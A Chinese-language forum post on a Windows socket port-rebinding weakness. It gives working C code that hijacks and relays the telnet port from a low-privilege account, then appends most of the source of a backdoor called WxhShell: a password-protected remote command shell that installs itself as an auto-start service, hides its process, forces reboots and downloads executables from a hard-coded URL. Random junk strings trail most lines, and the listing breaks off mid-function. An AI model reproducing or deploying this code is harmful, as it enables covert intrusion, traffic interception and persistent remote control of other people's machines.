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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: oe$&X&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u_ou,RF  
$=3&qg"!  
  saddr.sin_family = AF_INET; 7/C,<$Ep  
E0?R,+>&4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6:_@;/03%  
`< _A#@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); TkHyXOk"Ky  
_sLSl; /t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 JWQd/  
5yBaxw`  
  这意味着什么?意味着可以进行如下的攻击: a_}k^zw(  
=)QtE|p,77  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {<$ D|<S  
4u0\|e@a  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) NEp )V'  
gJ;jh7e@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 PY.4J4nn|  
IY_u|7d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   IDCuS  
}Rl^7h<!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2yB)2n#ut  
9)2 kjBeb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1V ?)T  
q+<<Ku(20  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n/]w!  
$FR1^|P/G  
  #include vl}fC@%WRI  
  #include TEB<ia3+  
  #include bzj9U>eY  
  #include    cl2+,!:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   TgC8EcLr  
  int main() 'DLgOUvh  
  { 10.u  
  WORD wVersionRequested; I'sq0^  
  DWORD ret; *49({TD6`  
  WSADATA wsaData; {9mXJu$cc  
  BOOL val; MC\rx=cR\  
  SOCKADDR_IN saddr; m 0jm$> :Z  
  SOCKADDR_IN scaddr; ''. P=  
  int err; Q#gzk%jL@  
  SOCKET s; '2LK(uaU  
  SOCKET sc; 0 $Ygt0d  
  int caddsize; "p Rr>Fa  
  HANDLE mt; 8nV#\J9  
  DWORD tid;    x&^>|'H  
  wVersionRequested = MAKEWORD( 2, 2 ); *,x-}%X  
  err = WSAStartup( wVersionRequested, &wsaData ); d;:H#F+ (  
  if ( err != 0 ) { 7tZvz `\  
  printf("error!WSAStartup failed!\n"); 1VXyn\  
  return -1; +,8j]<wpo  
  } WF#3'"I  
  saddr.sin_family = AF_INET; yZHh@W4v  
   NCu:E{([  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cpY'::5.%  
0XgJCvMcB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +O]jklS4H  
  saddr.sin_port = htons(23); WRdBL5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $~^Y4 } m  
  { N"',  
  printf("error!socket failed!\n"); nO;*Peob  
  return -1; O\~/J/u <  
  } ^k#.;Q#4  
  val = TRUE; }^b7x;O|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h eR$j  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |M;tAG$,"y  
  { 6x]x>:8  
  printf("error!setsockopt failed!\n"); An.Qi=Cv  
  return -1; 6_rgj{L  
  } cu |S|]g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; PQ0l<]Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7NQ@q--3s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]'"aVGqa.  
5u:{lcC.X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4Y'Kjx  
  { /7`fg0A  
  ret=GetLastError(); 6Wn"h|S  
  printf("error!bind failed!\n"); I38j[Xk  
  return -1; $T#yxx  
  }  UZ*Yt  
  listen(s,2); *m>XtBw.  
  while(1) jIvSjlmI  
  { O,D/& 0  
  caddsize = sizeof(scaddr); M "W~%   
  //接受连接请求 $E >)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Uo<iZ3J  
  if(sc!=INVALID_SOCKET) DQ08dP((v  
  {  0m&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |Q|vCWel{  
  if(mt==NULL) h=x{ 3P;B  
  { TXH9BlDn  
  printf("Thread Creat Failed!\n"); g %e"KnU  
  break; Lh_Q@>k  
  } C@P4}X0,=  
  } H?H(=  
  CloseHandle(mt); bP+b~!3  
  } ;$FpxurX  
  closesocket(s); hQFF%xl  
  WSACleanup(); N!=$6`d  
  return 0; ZC!GKW P2  
  }   bMCy=5  
  DWORD WINAPI ClientThread(LPVOID lpParam) _T^+BUw  
  { 12olVTuw  
  SOCKET ss = (SOCKET)lpParam; Cg]Iz< <bE  
  SOCKET sc; rn8#nQ>QZ%  
  unsigned char buf[4096]; Nn:>c<[  
  SOCKADDR_IN saddr; :~PzTUz  
  long num; cD5^mxd%  
  DWORD val; |to|kU  
  DWORD ret; I_aS C4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gX'nFGqud  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5 0KB:1(g  
  saddr.sin_family = AF_INET; OS{j5o  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &pk&8_=f  
  saddr.sin_port = htons(23); 4k6,pt"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =X24C'!Mpe  
  { cs\/6gSCo  
  printf("error!socket failed!\n"); S!JwF&EW  
  return -1; jb'A Os  
  } CHGV1X,  
  val = 100; xlHC?d0}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3[T<pAZ  
  { ?c7} v  
  ret = GetLastError(); ^6?)EM#  
  return -1; jWE?$r"  
  } sfUKH;xC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >P_/a,O8  
  { [m+):q^  
  ret = GetLastError(); QKAt%"1&  
  return -1; ?*K{1Ghf  
  } 4\rwJD<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) M#'j7EMu  
  { 9~lC/I')t  
  printf("error!socket connect failed!\n"); 2sXNVo8`w"  
  closesocket(sc); >vny9^_  
  closesocket(ss); v "Yo  
  return -1; id=:J7!QU  
  } + m+v1(@  
  while(1) a*T=;P3(I  
  { b$,~S\\c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 K:_5#!*^98  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #y2IHO-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <5fb, @YN  
  num = recv(ss,buf,4096,0); MzP q(`W  
  if(num>0) )_-EeH  
  send(sc,buf,num,0); KhFw%Z0s<  
  else if(num==0) gOSFvH8FU  
  break; 2*5]6B-(  
  num = recv(sc,buf,4096,0); *? <ygzX  
  if(num>0) (7k}ysc  
  send(ss,buf,num,0); Q"VS;uh.v  
  else if(num==0) ))xyaYIZkk  
  break; lij>u  
  } l+!eC lM%  
  closesocket(ss); fk)5TPc^  
  closesocket(sc); EW}7T3g  
  return 0 ;  tOEY|  
  } fvH4<c5x  
\])-Bp ,  
ob(S/t  
========================================================== lBN1OL[N  
\YN(rD-  
下边附上一个代码,,WXhSHELL 6_vhBYLf  
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========================================================== UifuRmn  
$sa5aUg }  
#include "stdafx.h" R{R'byre  
U1,f$McZs  
#include <stdio.h> ("!P_Q#  
#include <string.h> .9'bi#:Cw  
#include <windows.h> L';b908r2  
#include <winsock2.h> POl_chq  
#include <winsvc.h> g)/#gyT4Y  
#include <urlmon.h> AJWV#J%nB  
QY}1i .f  
#pragma comment (lib, "Ws2_32.lib") *41 2)zEy  
#pragma comment (lib, "urlmon.lib") 6&qT1nF1  
Z+EN]02|  
#define MAX_USER   100 // 最大客户端连接数 .r4M]1Of  
#define BUF_SOCK   200 // sock buffer 5k]xi)%  
#define KEY_BUFF   255 // 输入 buffer QH]G>+LI5  
vXUq[,8yf  
#define REBOOT     0   // 重启 K'tckJ#%  
#define SHUTDOWN   1   // 关机 m_;<7W&p]  
qy$1+>f1  
#define DEF_PORT   5000 // 监听端口 |u5Xi5q.f  
T x 6\  
#define REG_LEN     16   // 注册表键长度 M%S.Z4D (0  
#define SVC_LEN     80   // NT服务名长度 |Js?@  
 >M-ZjT>  
// 从dll定义API ^.:dT?@R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?K9zTas@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l NhX)D^t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 079mn/8;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "eOFp\vPr  
G~$[(Fhk  
// wxhshell配置信息 |tua*zEsS  
struct WSCFG { 2z+-vT%  
  int ws_port;         // 监听端口 \7elqX`.yY  
  char ws_passstr[REG_LEN]; // 口令 fk!P#  
  int ws_autoins;       // 安装标记, 1=yes 0=no g$a 5  
  char ws_regname[REG_LEN]; // 注册表键名 '|~L9t  
  char ws_svcname[REG_LEN]; // 服务名 L2P#5B!S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *s[bq;$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3^x C=++  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b xFDB^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PZB_6!}2[F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "(cMCBVYdA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iM'rl0  
z($h7TZ$  
}; )(`HEl>-9c  
n+qa/<  
// default Wxhshell configuration J*}Qnl+  
struct WSCFG wscfg={DEF_PORT, ?loP18S b  
    "xuhuanlingzhe", xzrA%1y  
    1, s;NPY  
    "Wxhshell", XkE'k;AEx  
    "Wxhshell", tIJ?caX5=  
            "WxhShell Service", @Z{!T)#}j  
    "Wrsky Windows CmdShell Service", o%1dbbh  
    "Please Input Your Password: ", q(iM=IeiN  
  1, ]%I}hj J  
  "http://www.wrsky.com/wxhshell.exe", Oqy&V&-C  
  "Wxhshell.exe" eABLBsx  
    }; W^sH|2g  
ZlEH3-Zv  
// 消息定义模块 rh+2 7"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L,PD4H"8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lemE/(`a_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KBSO^<7  
char *msg_ws_ext="\n\rExit."; 9EIOa/*  
char *msg_ws_end="\n\rQuit."; B33H,e)  
char *msg_ws_boot="\n\rReboot..."; =Ti[Q5SZ  
char *msg_ws_poff="\n\rShutdown..."; R[Y{pT,AY  
char *msg_ws_down="\n\rSave to "; L-V+`![{  
cq-UVk"Gl  
char *msg_ws_err="\n\rErr!"; ujH ^ML  
char *msg_ws_ok="\n\rOK!"; ,R8:Y*@P  
T#:n7$M|?A  
char ExeFile[MAX_PATH]; 2S#|[wq(  
int nUser = 0; u U;]/  
HANDLE handles[MAX_USER]; +,$ SZO]  
int OsIsNt; D1g .Fek5  
W]l&mr  
SERVICE_STATUS       serviceStatus; ),53(=/hl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,MRAEa2  
4,.B#: 8  
// 函数声明 <~ 9a3c?  
int Install(void); nPh| rW=  
int Uninstall(void); ER4j=O#  
int DownloadFile(char *sURL, SOCKET wsh); `:&jbd4H  
int Boot(int flag); B^yA+&3HI  
void HideProc(void); Cg4l*"_  
int GetOsVer(void); }US^GEs(  
int Wxhshell(SOCKET wsl); "PhP1;A9,  
void TalkWithClient(void *cs); xfsf  
int CmdShell(SOCKET sock); L28DBjE)A  
int StartFromService(void); 64jFbbd-/  
int StartWxhshell(LPSTR lpCmdLine); +;*dFL  
Tu*"+*r>s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !caY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )~CnDk}^R  
jXCSD@?]K  
// 数据结构和表定义 vD@ =V#T  
SERVICE_TABLE_ENTRY DispatchTable[] = L%sskV(  
{ YKtF)N;m]  
{wscfg.ws_svcname, NTServiceMain}, F-SD4a  
{NULL, NULL} z&x3":@u<  
}; q o^PS  
@}[yC['  
// 自我安装 {!G  
int Install(void) pZUXXX  
{ gLGu#6YVu  
  char svExeFile[MAX_PATH]; "z/)> ?Wn  
  HKEY key; $~s|%>@  
  strcpy(svExeFile,ExeFile); h:qt?$]J  
|2'u@<(Z/  
// 如果是win9x系统,修改注册表设为自启动 q` Z_Bw  
if(!OsIsNt) { KDQqN]rg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q#a<T4l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :l/?cV;  
  RegCloseKey(key); QgZ`~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ljJi|+^$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qY^@^)b[  
  RegCloseKey(key); FWu[{X;  
  return 0; T|fmO<e*n  
    } :e|[gEA  
  } :1/K$A)^{  
} kafRuO~$  
else { 40ZHDtIu<  
QhqXd  
// 如果是NT以上系统,安装为系统服务 V% PeZ.Xv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +q NX/F  
if (schSCManager!=0) BXx0Z %e.3  
{ =}h8Cl{H/  
  SC_HANDLE schService = CreateService Q3OGU}F  
  ( w,/&oe5M+  
  schSCManager, 4x;vn8 yh  
  wscfg.ws_svcname, 9]E;en NQ  
  wscfg.ws_svcdisp, 6~#$bp^-  
  SERVICE_ALL_ACCESS, gqCDF H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , czH`a=mjH  
  SERVICE_AUTO_START, &Ub0o2+y  
  SERVICE_ERROR_NORMAL, Nd] w I|>  
  svExeFile, }/cMG/%  
  NULL, k_$9cVA  
  NULL, O wJZ?j& )  
  NULL, f5p:o}U*  
  NULL, wE*jN~  
  NULL gs?=yNL  
  ); G5K_e:i  
  if (schService!=0) _pM~v>~*+  
  { )08mG_&atL  
  CloseServiceHandle(schService); bU+ z(Eg6  
  CloseServiceHandle(schSCManager); N%:)MT,&g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9 f+S-!  
  strcat(svExeFile,wscfg.ws_svcname); 0w24lVR.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E?@batIrf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KTzkJx  
  RegCloseKey(key); |#x]FNg  
  return 0; XX])B%*  
    } PX%Y$`  
  } xdqiogue  
  CloseServiceHandle(schSCManager); D%k`udz<  
} &N^^[ uG  
} ]EhU8bZ  
(w+dB8 )X  
return 1; kCoTz"Z-  
} N4z(2.  
%M/rpEE"b%  
// 自我卸载 UCv9G/$  
int Uninstall(void) XX@@tzN  
{ NjL^FqA[  
  HKEY key; `fA|])3T  
&-s/F`  
if(!OsIsNt) { iCK p"(kf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >AsrPU[  
  RegDeleteValue(key,wscfg.ws_regname); 9~FB^3Nz_  
  RegCloseKey(key);  ,m^@S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e,0y+~  
  RegDeleteValue(key,wscfg.ws_regname); .JG>/+  
  RegCloseKey(key); `z?6.+C  
  return 0; x9&{@ ?o  
  } F_ Cp,  
} 5*#!w1X  
} kq m$a  
else { 5/m^9@A  
k;AV  'r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v]tNJ=aI  
if (schSCManager!=0) !VF.=\iH/  
{ g/2eY$6Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :Jz@`s1n  
  if (schService!=0) AzwG_XgM)  
  { ML|O2e  
  if(DeleteService(schService)!=0) { [kjmEMF9i  
  CloseServiceHandle(schService); SW^/\cJ^  
  CloseServiceHandle(schSCManager); 5NT?A,r"  
  return 0; HRPNZ!B  
  } GdxMHnn=  
  CloseServiceHandle(schService); "AAzBWd/  
  } qxR7;/@j)  
  CloseServiceHandle(schSCManager); :W++`f&  
} in/ITy-  
} ee9nfvG-  
$d[xSwang  
return 1; %^r}$mfy:0  
} IQz:D J  
e{8j(` (;#  
// 从指定url下载文件 ATdK)gG  
int DownloadFile(char *sURL, SOCKET wsh) 0d%p<c  
{ tk"+PTGJT  
  HRESULT hr; 4IW7^Pq`P  
char seps[]= "/"; }E}b/ulg1  
char *token; pu"`*NL  
char *file; 3O W) %  
char myURL[MAX_PATH]; (zm5 4 Vm  
char myFILE[MAX_PATH]; >*5+{~k~4  
RH+'"f  
strcpy(myURL,sURL); r-ldqj  
  token=strtok(myURL,seps); H,F/u&O  
  while(token!=NULL) ) ag8]   
  { pX nY=  
    file=token; .Y?/J,Ch  
  token=strtok(NULL,seps); 6@2 S*\&  
  } 2`-yzm  
Xg](V.B6  
GetCurrentDirectory(MAX_PATH,myFILE); 1 >nl ]yO  
strcat(myFILE, "\\"); gx*rxid  
strcat(myFILE, file); x@@U&.1_A  
  send(wsh,myFILE,strlen(myFILE),0); |] <eJ|\=  
send(wsh,"...",3,0); 41d,<E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c]y"5;V8  
  if(hr==S_OK) {u1Rc/Lw  
return 0; 6__#n`  
else T2nbU6H  
return 1; 7H1 ii   
5g{L -8XwI  
} s?.A $^t  
6+:Tv2  
// 系统电源模块 RawK9K_1  
int Boot(int flag) 1>doa1  
{ &r{.b#7\/A  
  HANDLE hToken; *acN/Ca1  
  TOKEN_PRIVILEGES tkp; (Oc[j{6q  
1lxsj{>U  
  if(OsIsNt) { tPT\uD#t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GQNs:oRJ'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^Ms)T3dM  
    tkp.PrivilegeCount = 1; m]1= o7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S<hj6A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rb/m;8v>  
if(flag==REBOOT) { ]m#.MZe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4)o_gm~6c4  
  return 0; :?Xd&u0){  
} 5 W<\J  
else { x<0-'EF/S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G%a8'3d,  
  return 0; kH!I&4d&  
} hLVS}HE2  
  } iXN7+QO)  
  else { [w%MECTe  
if(flag==REBOOT) { 8-N8v *0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RaK fYLw  
  return 0; 4{:W5eT!/  
} $II[b-X?S  
else { /\%K7\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q]';1#J\  
  return 0; H$^b.5K  
} 9I a4PPEH1  
} ?G5JAG`  
|P_\l,f8`  
return 1; xZ51iD $  
} [e2sUO0~r  
;CU<\  
// win9x进程隐藏模块 *0 ;DCUv  
void HideProc(void) x*H4o{o0  
{ -fl?G%:(!0  
FtUOgL)|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &S}i)Nu6J  
  if ( hKernel != NULL ) k)W8%=R  
  { BReNhk)S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f6 zT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6]i"lqb  
    FreeLibrary(hKernel); 8{5Y%InL  
  } Hev S}L  
vG(Gs=.U  
return; iOB]72dh  
} |~mi6 lJ6  
})V9d  
// 获取操作系统版本 ^A8'YTl  
int GetOsVer(void) Ni5~Buf  
{ la ~T)U7  
  OSVERSIONINFO winfo; U!:Q|':=h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ckqU2ETpD}  
  GetVersionEx(&winfo); G?LPj*=$?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :X>%6Xj?RV  
  return 1; >EFjyhVE  
  else 7qB}Hvh  
  return 0; }5H3DavW  
} 6#xP[hlR[  
7xP>AU)y  
// 客户端句柄模块 s(Of EzsH=  
int Wxhshell(SOCKET wsl) $oO9N^6yF  
{ K/Q^8%Z  
  SOCKET wsh; ~X^L3=!vf  
  struct sockaddr_in client; :)v4:&do  
  DWORD myID; V#?GDe}[  
r;`6ML[5Vx  
  while(nUser<MAX_USER) N|c;Qzl  
{ O:fv1  
  int nSize=sizeof(client); >9{Gdq[gyr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1FU(j*~:  
  if(wsh==INVALID_SOCKET) return 1; 0>Y3>vwSl  
7Op6> i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fX).A`  
if(handles[nUser]==0) \ajy%$;$}  
  closesocket(wsh); L]L-000D(  
else -LL49P6  
  nUser++; \|Pp%U [  
  } (W3~r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]KfjZ!Qh  
 ?[Od.  
  return 0; UQ#"^`=R<  
} O/^7TBTn<r  
75~>[JM  
// 关闭 socket D 8^wR{-;J  
void CloseIt(SOCKET wsh) G>{Bij44  
{ xU#f>@v!  
closesocket(wsh); * B!uYP  
nUser--; {J2*6_  
ExitThread(0); ~6`HJ  
} !Q!= =*1H  
 Hu|;cbK  
// 客户端请求句柄 {D1"bDZ  
void TalkWithClient(void *cs) Ml1sE,BT  
{ <rc?EV  
/ %}Xiqlrd  
  SOCKET wsh=(SOCKET)cs; q]3bGO;  
  char pwd[SVC_LEN]; 9L;fT5Tp7  
  char cmd[KEY_BUFF]; C-/<5D j  
char chr[1]; 1BK-uv:  
int i,j; ^ZX71-  
H: Rd4dl,  
  while (nUser < MAX_USER) { [mKPOg-t  
K'.aQ&2  
if(wscfg.ws_passstr) { VfOm#Ue0 q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E(Tvj\9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JQQP!]%}  
  //ZeroMemory(pwd,KEY_BUFF); ~=~|@K  
      i=0; Sw<@u+Z;%  
  while(i<SVC_LEN) { ftB-gItV  
gT$`a  
  // 设置超时 mGZ^K,)&OR  
  fd_set FdRead; ZI4[v>  
  struct timeval TimeOut; :@zz5MB5@  
  FD_ZERO(&FdRead); g$<Sh.4A  
  FD_SET(wsh,&FdRead); Md_S};!QN6  
  TimeOut.tv_sec=8; v'(p."g  
  TimeOut.tv_usec=0; n>?o=_|uR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I!?-lI@(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UU')V  
aMQfg51W:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t<5 $85Y~  
  pwd=chr[0]; hnag <=  
  if(chr[0]==0xd || chr[0]==0xa) { LIYj__4=|  
  pwd=0; r9<OB`)3+  
  break; rf_(pp)  
  } fB+4mEG@  
  i++; $8gj}0}eH  
    } <&:OSd:%  
v0)I rO  
  // 如果是非法用户,关闭 socket 7 sv 3=/`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lB9 9J"A  
} sJ[I<  
U:xY~>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vZ[wr@)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4Cs |F7R  
aI]EwVz-q  
while(1) { {\3ZmF  
F]kn4zr  
  ZeroMemory(cmd,KEY_BUFF); z97RNT|Y7U  
`R@1Sc<*|  
      // 自动支持客户端 telnet标准   Hd H,   
  j=0; tQ=P.14>:  
  while(j<KEY_BUFF) { 8UiRirw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^ Q]I)U  
  cmd[j]=chr[0]; W8{g<. /  
  if(chr[0]==0xa || chr[0]==0xd) { z\wY3pIr2  
  cmd[j]=0; EM9K^l`  
  break; wp7<0PP  
  }  [@YeQ{  
  j++; [w&B>z=g$  
    } A)"?GK{*  
KwO;ICdJ  
  // 下载文件 jd]Om r!  
  if(strstr(cmd,"http://")) { w1tWyKq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6U|An*  
  if(DownloadFile(cmd,wsh)) T%|{Qo<j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jroR 2*  
  else 0;9X`z J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y&;ytNG&<  
  } _Q)rI%A2  
  else { @@->A9'L  
fS9TDy  
    switch(cmd[0]) { `5da  
  <r 2$k"*:  
  // 帮助 ?wM{NVt#-  
  case '?': { Fo\* Cr9D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ejs_ ?  
    break; %l{0z<  
  } =^a Ngq  
  // 安装 (lPiv+'n  
  case 'i': { IZ?+c@t  
    if(Install()) j{QzD^t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); miWog8j  
    else {v CB$@/o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;1x(~pD*o  
    break; v+\&8)W=  
    } Cn6<I{`\  
  // 卸载 R^u 1(SF  
  case 'r': { O7DaVlln  
    if(Uninstall()) #6okd*^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f8ucJ.{"  
    else >#pZ`oPEAv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FYe#x]ue  
    break; P _e9>t@  
    } >+}yI}W;e  
  // 显示 wxhshell 所在路径 E}-Y!,v^  
  case 'p': { LT+QW  
    char svExeFile[MAX_PATH]; =(]yl_  
    strcpy(svExeFile,"\n\r"); s}w?Dvo\  
      strcat(svExeFile,ExeFile); AN)exU ?  
        send(wsh,svExeFile,strlen(svExeFile),0); J  ZH~ {  
    break; \3K%>   
    } *z?Vy<u G  
  // 重启 P|U9f6^3  
  case 'b': { `IC2}IiF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2Q bCH}  
    if(Boot(REBOOT)) N$&)gI:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T( LlNq  
    else { ~;)H |R5kV  
    closesocket(wsh); 5N~JRq\  
    ExitThread(0); RX])#=Cs  
    } PvHX#wJ  
    break; I= '6>+P  
    } 5`>%{ o  
  // 关机 rl/]Ym4j  
